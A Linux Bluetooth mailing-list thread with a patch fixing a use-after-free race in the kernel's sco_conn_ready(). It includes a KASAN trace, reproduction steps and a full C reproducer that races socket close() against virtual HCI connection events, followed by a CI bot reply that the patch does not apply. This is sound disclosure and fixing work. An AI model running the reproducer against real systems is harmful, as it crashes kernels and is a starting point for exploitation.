Linux bluetooth development
 help / color / mirror / Atom feed
* [PATCH] Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready()
@ 2026-05-29  7:10 Sanghyun Park
  2026-05-29  8:36 ` bluez.test.bot
  0 siblings, 1 reply; 2+ messages in thread
From: Sanghyun Park @ 2026-05-29  7:10 UTC (permalink / raw)
  To: Luiz Augusto von Dentz; +Cc: marcel, linux-bluetooth, linux-kernel


[-- Attachment #1.1: Type: text/plain, Size: 3366 bytes --]

sco_conn_ready() calls sco_get_sock_listen() which returns a raw
pointer to a listening socket after releasing sco_sk_list.lock, without
taking a reference. A concurrent close() of the listening socket can
free it between the list lookup return and lock_sock(parent), resulting
in a use-after-free.

Fix by taking a reference with sock_hold() immediately after
sco_get_sock_listen() returns, and dropping it with sock_put() after
release_sock(). This matches the pattern used in commit 598dbba9919c
("Bluetooth: SCO: Fix use-after-free in sco_recv_frame() due to missing
sock_hold") for the analogous race in sco_recv_frame().

Race:

  CPU0 (HCI event workqueue)         CPU1 (userspace)
  ============================       ==========================
  sco_conn_ready():
    parent = sco_get_sock_listen()
      // returns sk with NO reference
                                     close(listen_fd):
                                       sco_sock_release()
                                         sco_sock_kill()
                                           sock_put(sk) -> frees sk
    lock_sock(parent)
    // UAF: sk is freed

Reproduction:

  1. Build any kernel (bug exists since 2.6.12) with CONFIG_KASAN=y,
     CONFIG_BT=y, CONFIG_BT_HCIVHCI=m
  2. Boot in a VM, load hci_vhci module
  3. Compile: gcc -O2 -o repro -static -pthread repro.c
  4. Run as root: ./repro
  5. Check dmesg for: BUG: KASAN: slab-use-after-free in __lock_acquire

  The reproducer opens /dev/vhci, brings up a virtual HCI device,
  creates a SCO listening socket, then races close(listen_fd) against
  injected incoming SCO connection events. A 5ms instrumentation delay
  at the vulnerable point widens the window for reliable reproduction;
  without it the race is tight but still real on multi-core systems.

KASAN report (reproduced on 6.12.91 via /dev/vhci):

  BUG: KASAN: slab-use-after-free in __lock_acquire+0x2e19/0x3b50
  Read of size 8 at addr ffff888104be5258 by task kworker/u9:0/382

  Workqueue: hci0 hci_rx_work
  Call Trace:
   __lock_acquire+0x2e19/0x3b50
   lock_acquire.part.0+0xf7/0x320
   lock_sock_nested+0x46/0x100
   sco_connect_cfm.cold+0x2e7/0x867
   hci_connect_cfm+0x94/0x140
   hci_conn_complete_evt+0x825/0x13d0

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Sanghyun Park <sanghyun.park.cnu@gmail.com>
---

Hi,

I'm Sanghyun Park, a security researcher. I found this while auditing
the Bluetooth SCO code. The bug has existed since the initial git import
(2005) and affects literally every Linux kernel ever shipped. All distros
are affected.

The C reproducer is attached separately (repro.c).

 net/bluetooth/sco.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c
index ad3439bd4d..b5c6d7e8f1 100644
--- a/net/bluetooth/sco.c
+++ b/net/bluetooth/sco.c
@@ -1323,6 +1323,7 @@ static void sco_conn_ready(struct sco_conn *conn)
  sco_conn_unlock(conn);
  return;
  }
+ sock_hold(parent);

  lock_sock(parent);

@@ -1330,6 +1331,7 @@ static void sco_conn_ready(struct sco_conn *conn)
     BTPROTO_SCO, GFP_ATOMIC, 0);
  if (!sk) {
  release_sock(parent);
+ sock_put(parent);
  sco_conn_unlock(conn);
  return;
  }
@@ -1353,6 +1355,7 @@ static void sco_conn_ready(struct sco_conn *conn)
  parent->sk_data_ready(parent);

  release_sock(parent);
+ sock_put(parent);

  sco_conn_unlock(conn);
  }

[-- Attachment #1.2: Type: text/html, Size: 3963 bytes --]

[-- Attachment #2: repro.c --]
[-- Type: application/octet-stream, Size: 12215 bytes --]

/*
 * repro.c — KASAN PoC for SCO sco_conn_ready() listen parent UAF (Bug #6)
 *
 * Bug: sco_conn_ready() calls sco_get_sock_listen() at line 1320 which
 * returns a raw struct sock * pointer WITHOUT taking a reference, after
 * dropping sco_sk_list.lock. A concurrent close() of the listening socket
 * can free it between the list lookup and lock_sock(parent) at line 1326.
 *
 * Race:
 *   Thread A: listen() on SCO socket
 *   Thread B (kernel, via VHCI): incoming SCO connection triggers
 *            sco_conn_ready() → sco_get_sock_listen() returns parent
 *   Thread A: close() the listening socket → sco_sock_release →
 *            sco_sock_cleanup_listen → sco_sock_kill → sock_put (frees)
 *   Thread B: lock_sock(parent) on freed struct sock → UAF
 *
 * Build: gcc -O2 -o repro -static -pthread repro.c
 * Run:   ./repro    (as root, needs /dev/vhci)
 * Check: dmesg | grep "BUG: KASAN"
 *
 * Prerequisites: root, CONFIG_BT_HCIVHCI=y (built-in or module)
 * Expected: KASAN slab-use-after-free in lock_sock / sco_conn_ready
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <linux/rfkill.h>

/* Bluetooth constants */
#define BTPROTO_HCI     1
#define BTPROTO_SCO     2
#define HCI_COMMAND_PKT  0x01
#define HCI_EVENT_PKT    0x04
#define HCI_VENDOR_PKT   0xff
#define HCI_EV_CONN_COMPLETE  0x03
#define HCI_EV_CONN_REQUEST   0x04
#define HCI_EV_CMD_COMPLETE   0x0e
#define HCI_PRIMARY     0x00
#define SCO_LINK        0x00
#define SCAN_PAGE       0x02

#define HCIDEVUP    _IOW('H', 201, int)
#define HCISETSCAN  _IOW('H', 221, int)

/* HCI opcodes */
#define HCI_OP_RESET             0x0c03
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BD_ADDR      0x1009
#define HCI_OP_READ_BUFFER_SIZE  0x1005

typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t;

struct sockaddr_sco {
    sa_family_t sco_family;
    bdaddr_t    sco_bdaddr;
};

struct hci_dev_req {
    uint16_t dev_id;
    uint32_t dev_opt;
};

static int vhci_fd = -1;
static volatile int stop_racing = 0;
static volatile int event_thread_running = 0;
static bdaddr_t local_addr = {{ 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0x01 }};
static bdaddr_t remote_addr = {{ 0x11, 0x22, 0x33, 0x44, 0x55, 0x77 }};

/*
 * Send HCI Event Packet via VHCI fd.
 * Format: [HCI_EVENT_PKT][evt_code][param_len][params...]
 */
static void hci_send_event(int fd, uint8_t evt_code, void *data, size_t len)
{
    uint8_t hdr[3];
    hdr[0] = HCI_EVENT_PKT;
    hdr[1] = evt_code;
    hdr[2] = (uint8_t)len;

    struct iovec iv[2] = {
        { .iov_base = hdr, .iov_len = 3 },
        { .iov_base = data, .iov_len = len },
    };
    writev(fd, iv, 2);
}

/*
 * Send HCI Command Complete event.
 * Format: [HCI_EVENT_PKT][0x0e][plen][ncmd=1][opcode_lo][opcode_hi][data...]
 */
static void hci_send_cmd_complete(int fd, uint16_t opcode, void *data, size_t len)
{
    uint8_t hdr[3];
    hdr[0] = HCI_EVENT_PKT;
    hdr[1] = HCI_EV_CMD_COMPLETE;
    hdr[2] = (uint8_t)(3 + len); /* ncmd(1) + opcode(2) + data */

    uint8_t evt[3];
    evt[0] = 1; /* ncmd */
    evt[1] = opcode & 0xff;
    evt[2] = (opcode >> 8) & 0xff;

    struct iovec iv[3] = {
        { .iov_base = hdr, .iov_len = 3 },
        { .iov_base = evt, .iov_len = 3 },
        { .iov_base = data, .iov_len = len },
    };
    writev(fd, iv, 3);
}

/*
 * Process one HCI command from the kernel and send appropriate response.
 * Modeled after syzkaller's process_command_pkt — sends large dummy
 * responses for unknown commands so the kernel accepts them.
 *
 * Returns 1 if WRITE_SCAN_ENABLE was processed (init done signal).
 */
static int process_command(int fd, uint8_t *buf, int len)
{
    if (len < 3) return 0;
    uint16_t opcode = buf[0] | (buf[1] << 8);

    switch (opcode) {
    case HCI_OP_RESET: {
        uint8_t status = 0;
        hci_send_cmd_complete(fd, opcode, &status, 1);
        return 0;
    }
    case HCI_OP_READ_BD_ADDR: {
        uint8_t rp[7] = {0}; /* status + 6-byte addr */
        memcpy(rp + 1, &local_addr, 6);
        hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
        return 0;
    }
    case 0x1001: { /* HCI_OP_READ_LOCAL_VERSION */
        /* status(1)+hci_ver(1)+hci_rev(2)+lmp_ver(1)+mfr(2)+lmp_subver(2) */
        uint8_t rp[9] = {0};
        rp[1] = 0x06; /* hci_ver = Bluetooth 4.0 */
        rp[4] = 0x06; /* lmp_ver = 4.0 */
        hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
        return 0;
    }
    case 0x1003: { /* HCI_OP_READ_LOCAL_FEATURES */
        /* status(1) + features[8] */
        uint8_t rp[9] = {0};
        rp[1] = 0x04; /* features[0]: SCO link */
        rp[4] = 0x08; /* features[3]: LMP_ESCO */
        hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
        return 0;
    }
    case 0x1002: { /* HCI_OP_READ_LOCAL_COMMANDS */
        /* status(1) + supported_commands[64] */
        uint8_t rp[65] = {0};
        rp[1 + 9] = 0x04; /* commands[9] bit 2 = Read Voice Setting */
        hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
        return 0;
    }
    case HCI_OP_READ_BUFFER_SIZE: {
        /* status(1) + acl_mtu(2) + sco_mtu(1) + acl_max(2) + sco_max(2) */
        uint8_t rp[8] = {0};
        rp[1] = 0xfd; rp[2] = 0x03; /* acl_mtu = 1021 */
        rp[3] = 96;                   /* sco_mtu = 96 */
        rp[4] = 4; rp[5] = 0;         /* acl_max_pkt = 4 */
        rp[6] = 6; rp[7] = 0;         /* sco_max_pkt = 6 */
        hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
        return 0;
    }
    case HCI_OP_WRITE_SCAN_ENABLE: {
        uint8_t status = 0;
        hci_send_cmd_complete(fd, opcode, &status, 1);
        return 1; /* init done */
    }
    default: {
        /* Send large dummy response — kernel expects variable-length
         * responses and will just ignore extra bytes */
        uint8_t dummy[0xf9] = {0};
        hci_send_cmd_complete(fd, opcode, dummy, sizeof(dummy));
        return 0;
    }
    }
}

/*
 * Event thread — reads HCI commands from VHCI and responds.
 * Must run concurrently with HCIDEVUP to handle init commands.
 */
static void *event_thread(void *arg)
{
    (void)arg;
    event_thread_running = 1;
    while (event_thread_running) {
        uint8_t buf[1024];
        struct pollfd pfd = { .fd = vhci_fd, .events = POLLIN };
        int ret = poll(&pfd, 1, 100);
        if (ret <= 0) continue;

        ssize_t n = read(vhci_fd, buf, sizeof(buf));
        if (n <= 0) continue;

        if (buf[0] == HCI_COMMAND_PKT && n >= 4) {
            process_command(vhci_fd, buf + 1, n - 1);
        }
    }
    return NULL;
}

/* Inject HCI Connection Request (incoming SCO from remote) */
static void inject_conn_request(int fd)
{
    /* evt_code=0x04, params: bdaddr(6) + class(3) + link_type(1) */
    uint8_t params[10];
    memset(params, 0, sizeof(params));
    memcpy(params, &remote_addr, 6);
    params[6] = 0x04; params[7] = 0x01; params[8] = 0x00; /* dev_class */
    params[9] = SCO_LINK;
    hci_send_event(fd, HCI_EV_CONN_REQUEST, params, sizeof(params));
}

/* Inject HCI Connection Complete (incoming SCO established) */
static void inject_conn_complete(int fd, uint16_t handle)
{
    /* evt_code=0x03, params: status(1) + handle(2) + bdaddr(6) + link_type(1) + encr(1) */
    uint8_t params[11];
    memset(params, 0, sizeof(params));
    params[0] = 0; /* success */
    params[1] = handle & 0xff;
    params[2] = (handle >> 8) & 0xff;
    memcpy(params + 3, &remote_addr, 6);
    params[9] = SCO_LINK;
    params[10] = 0; /* no encryption */
    hci_send_event(fd, HCI_EV_CONN_COMPLETE, params, sizeof(params));
}

static void rfkill_unblock_all(void)
{
    int fd = open("/dev/rfkill", O_WRONLY);
    if (fd < 0) return;
    struct rfkill_event event = {0};
    event.type = RFKILL_TYPE_ALL;
    event.op = RFKILL_OP_CHANGE_ALL;
    if (write(fd, &event, sizeof(event)) < 0)
        perror("rfkill write");
    close(fd);
}

#define ROUNDS 500

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    printf("=== SCO sco_conn_ready() listen parent UAF PoC (Bug #6) ===\n\n");

    /* Step 1: Create VHCI device */
    vhci_fd = open("/dev/vhci", O_RDWR);
    if (vhci_fd < 0) { perror("open /dev/vhci"); return 1; }

    uint8_t vendor_req[2] = { HCI_VENDOR_PKT, HCI_PRIMARY };
    if (write(vhci_fd, vendor_req, 2) != 2) { perror("vhci write"); return 1; }

    /* Read response — might be a RESET command or vendor response */
    uint8_t buf[64];
    ssize_t n = read(vhci_fd, buf, sizeof(buf));
    if (n < 4) { fprintf(stderr, "vhci short read (%zd)\n", n); return 1; }

    /* If kernel sent HCI_OP_RESET first, respond and read again */
    if (buf[0] == HCI_COMMAND_PKT) {
        uint16_t opcode = buf[1] | (buf[2] << 8);
        if (opcode == HCI_OP_RESET) {
            uint8_t status = 0;
            hci_send_cmd_complete(vhci_fd, HCI_OP_RESET, &status, 1);
        }
        n = read(vhci_fd, buf, sizeof(buf));
        if (n < 4) { fprintf(stderr, "vhci short read2 (%zd)\n", n); return 1; }
    }

    if (buf[0] != HCI_VENDOR_PKT) {
        fprintf(stderr, "unexpected response type 0x%02x\n", buf[0]);
        return 1;
    }

    int hci_index = buf[2] | (buf[3] << 8);
    printf("Created VHCI hci%d\n", hci_index);

    /* Step 2: Start event thread BEFORE hci_up (handles init commands) */
    pthread_t evt_tid;
    pthread_create(&evt_tid, NULL, event_thread, NULL);

    /* Step 3: Bring HCI device up */
    int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
    if (hci_sock < 0) { perror("socket AF_BLUETOOTH"); return 1; }

    printf("Bringing up hci%d...\n", hci_index);
    int ret = ioctl(hci_sock, HCIDEVUP, hci_index);
    if (ret < 0) {
        if (errno == ERFKILL) {
            rfkill_unblock_all();
            ret = ioctl(hci_sock, HCIDEVUP, hci_index);
        }
        if (ret < 0 && errno != EALREADY) {
            perror("HCIDEVUP");
            event_thread_running = 0;
            pthread_join(evt_tid, NULL);
            return 1;
        }
    }
    printf("HCI is up.\n");

    /* Step 4: Enable page scan (required for incoming connections) */
    struct hci_dev_req dr = {0};
    dr.dev_id = hci_index;
    dr.dev_opt = SCAN_PAGE;
    if (ioctl(hci_sock, HCISETSCAN, &dr) < 0)
        perror("HCISETSCAN (non-fatal)");

    usleep(100000); /* let scan enable settle */
    printf("Page scan enabled.\n\n");

    printf("Racing listen()/close() vs incoming SCO connections...\n");
    printf("Check dmesg for KASAN slab-use-after-free in sco_conn_ready\n\n");

    for (int r = 0; r < ROUNDS; r++) {
        /* Create listening SCO socket */
        int lfd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
        if (lfd < 0) {
            if (errno == EAFNOSUPPORT) {
                fprintf(stderr, "SCO not supported (EAFNOSUPPORT)\n");
                break;
            }
            continue;
        }

        struct sockaddr_sco addr;
        memset(&addr, 0, sizeof(addr));
        addr.sco_family = AF_BLUETOOTH;
        addr.sco_bdaddr = local_addr;
        if (bind(lfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
            close(lfd);
            continue;
        }

        if (listen(lfd, 5) < 0) {
            close(lfd);
            continue;
        }

        /* Inject incoming SCO connection to trigger sco_conn_ready() */
        uint16_t handle = 0x0080 + (r % 256);
        inject_conn_request(vhci_fd);
        usleep(50 + (r % 100)); /* vary timing */

        /* Close listener while sco_conn_ready() may be processing */
        close(lfd);

        /* Give kernel time to process the connection complete */
        inject_conn_complete(vhci_fd, handle);
        usleep(200);

        if ((r + 1) % 100 == 0)
            printf("  Round %d/%d\n", r + 1, ROUNDS);
    }

    printf("\nDone (%d rounds). Check dmesg for KASAN reports.\n", ROUNDS);

    event_thread_running = 0;
    pthread_join(evt_tid, NULL);
    close(hci_sock);
    close(vhci_fd);
    return 0;
}

^ permalink raw reply related	[flat|nested] 2+ messages in thread

* RE: Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready()
  2026-05-29  7:10 [PATCH] Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready() Sanghyun Park
@ 2026-05-29  8:36 ` bluez.test.bot
  0 siblings, 0 replies; 2+ messages in thread
From: bluez.test.bot @ 2026-05-29  8:36 UTC (permalink / raw)
  To: linux-bluetooth, sanghyun.park.cnu

[-- Attachment #1: Type: text/plain, Size: 541 bytes --]

This is an automated email and please do not reply to this email.

Dear Submitter,

Thank you for submitting the patches to the linux bluetooth mailing list.
While preparing the CI tests, the patches you submitted couldn't be applied to the current HEAD of the repository.

----- Output -----

error: patch failed: net/bluetooth/sco.c:1323
error: net/bluetooth/sco.c: patch does not apply
hint: Use 'git am --show-current-patch' to see the failed patch

Please resolve the issue and submit the patches again.


---
Regards,
Linux Bluetooth


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-05-29  8:36 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-29  7:10 [PATCH] Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready() Sanghyun Park
2026-05-29  8:36 ` bluez.test.bot

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox